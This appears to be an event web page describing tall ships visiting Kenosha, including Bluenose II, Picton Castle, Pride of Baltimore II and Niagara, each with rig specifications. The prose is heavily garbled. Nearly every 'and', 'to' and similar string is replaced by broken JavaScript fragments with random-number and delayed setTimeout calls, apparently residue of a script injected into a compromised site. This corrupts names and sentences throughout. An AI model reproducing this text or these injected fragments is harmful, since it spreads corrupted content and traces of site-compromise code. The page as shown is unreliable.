Participating Ships

Built in 1984, Red Witch is typical of the schooners that once plied the Great Lakes. She was built in the tradition of the schooners which were the workhorses of America’s 19th-century transportation system. Designed by John G. Alden, she is full of Cyprus on oak, wooden blocks dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a gaff rig.

RIG HEIGHT:  73′
SPARRED LENGTH: 77′
SAIL AREA: 2,100 SQ. FT.
FLAG:  USA

The Bay City, MI schooner Appledore IV fosters environmental stewardship of the Saginaw Bay watershed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Great Lakes ecosystem. Built in 1989, she promotes personal development for learners of all ages. A gaff-rigged schooner, she has welcomed over 40,000 students for shipboard dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and-based experiences.

RIG HEIGHT:  76′
SPARRED LENGTH: 85′
SAIL AREA: 3,560 SQ. FT.
FLAG:  USA

A replica of the famed Bluenose, Bluenose II is a typical Nova Scotia Grdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Banks fishing schooner dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and built from the same plans at the same yard in Lunenburg.  Bluenose was built for both fishing dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and for the International Fisherman’s Trophy series of races between Canada dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the US.  She was undefeated dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and her likeness graced the Canadian dime dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and stamps.

RIG HEIGHT: 181′:
SPARRED LENGTH: 181′
FLAG:  CANADA

Sponsored by:

Based in Lunenburg, Nova Scotia, with a Cook Isldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands flag, Barque dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton-castle.com”>Picdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Castle is a traditionally rigged dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and operated sailing ship best known for her adventurous voyages around the world. She arrives in Kenosha fresh off her 7th world voyage. On-board workshops focus on practical seamanship, sail making, rigging dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and boat hdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andling.

RIG HEIGHT:  100′
SPARRED LENGTH: 179′
SAIL AREA: 12,450 SQ. FT.
FLAG:  COOK ISLANDS

Pride of Baltimore II is a reconstruction of an early 18th century Baltimore Clipper. She provides hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical maritime education, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and fosters economic development dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourism. Since being commissioned in 1988, she has sailed over 250,000 nautical miles, visited 40 countries dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and docked in over 200 ports of call.

RIG HEIGHT:  107′
SPARRED LENGTH: 157′
SAIL AREA: 9,018 SQ. FT.
FLAG: USA

Sponsored by:

In 2000, the Flagship of Wisconsin dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took 900 volunteer hours dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to complete.  This replica of a Great Lakes Schooner, the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-do/exhibits/sailing-vessel-denis-sullivan/”>S/V Denis Sullivan operates as a living classroom dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and goodwill ambassador for the State of Wisconsin.  The ship is committed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to establishing a bond between the community dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and one of its most valuable resources –  the Great Lakes.

RIG HEIGHT:  95′
SPARRED LENGTH: 137′
SAIL AREA: 5,916 SQ. FT.
FLAG: USA

Sponsored by:

The Flagship Niagara is one of the most hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torically authentic tall ships in the United States. As an accurate reproduction of Commodore Oliver Hazard Perry’s vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torious flagship from the War of 1812’s Battle of Lake Erie, the ship provides a real on-board experience, including sleeping in hammocks dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and meals cooked off a wood sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tove.

RIG HEIGHT:  120′
SPARRED LENGTH: 198′
SAIL AREA: 11,600 SQ. FT.
FLAG: USA

Sponsored by: